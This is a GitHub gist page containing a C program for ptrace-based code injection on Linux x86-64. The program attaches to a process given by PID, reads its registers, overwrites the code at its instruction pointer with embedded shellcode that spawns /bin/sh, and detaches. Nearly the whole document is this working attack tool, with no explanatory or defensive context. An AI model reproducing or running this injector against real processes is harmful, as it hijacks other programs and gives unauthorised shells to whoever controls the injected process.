Created
June 30, 2020 20:41
-
-
Save 0x6d61/dfee6a0c0c6985f1c2e9584ec0a5c5ea to your computer and use it in GitHub Desktop.
ptrace code injection
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <stdint.h> | |
#include <sys/ptrace.h> | |
#include <sys/types.h> | |
#include <sys/wait.h> | |
#include <sys/stat.h> | |
#include <unistd.h> | |
#include <sys/user.h> | |
#include <sys/reg.h> | |
#include <errno.h> | |
#include <elf.h> | |
#include <sys/mman.h> | |
#include <fcntl.h> | |
#define SHELLCODE_SIZE 32 | |
/* Spawn a shell */ | |
unsigned char *shellcode = | |
"\xeb\x10\x48\x31\xc0\x5f\x48\x31" | |
"\xf6\x48\x31\xd2\x48\x83\xc0\x3b" | |
"\x0f\x05\xe8\xeb\xff\xff\xff\x2f" | |
"\x62\x69\x6e\x2f\x2f\x73\x68"; | |
int inject_data (pid_t pid, unsigned char *src, void *dst, int len) { | |
int i; | |
uint32_t *s = (uint32_t *) src; | |
uint32_t *d = (uint32_t *) dst; | |
for (i = 0; i < len; i+=4, s++, d++) | |
{ | |
printf("%p,%p\n",d,s); | |
if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0) | |
{ | |
perror ("PTRACE_POKETEXT:"); | |
return -1; | |
} | |
} | |
return 0; | |
} | |
int main(int argc, char *argv[]) { | |
pid_t target_pid; | |
struct user_regs_struct regs; | |
target_pid = atoi (argv[1]); | |
printf ("\n\n[+] Tracing process %d\n", target_pid); | |
if ((ptrace (PTRACE_ATTACH, target_pid, NULL, NULL)) < 0) | |
{ | |
perror ("PTRACE_ATTACH:"); | |
exit (1); | |
} | |
printf ("[+] Waiting for process...\n"); | |
wait (NULL); | |
printf ("[+] Reading Registers...\n"); | |
if ((ptrace (PTRACE_GETREGS, target_pid, NULL, ®s)) < 0) | |
{ | |
perror ("PTRACE_GETREGS:"); | |
exit (1); | |
} | |
inject_data (target_pid, shellcode, (void*)regs.rip, SHELLCODE_SIZE); | |
regs.rip += 2; | |
printf ("[+] Setting instruction pointer to %p\n", (void*)regs.rip); | |
if ((ptrace (PTRACE_DETACH, target_pid, NULL, NULL)) < 0) | |
{ | |
perror ("PTRACE_DETACH:"); | |
exit (1); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment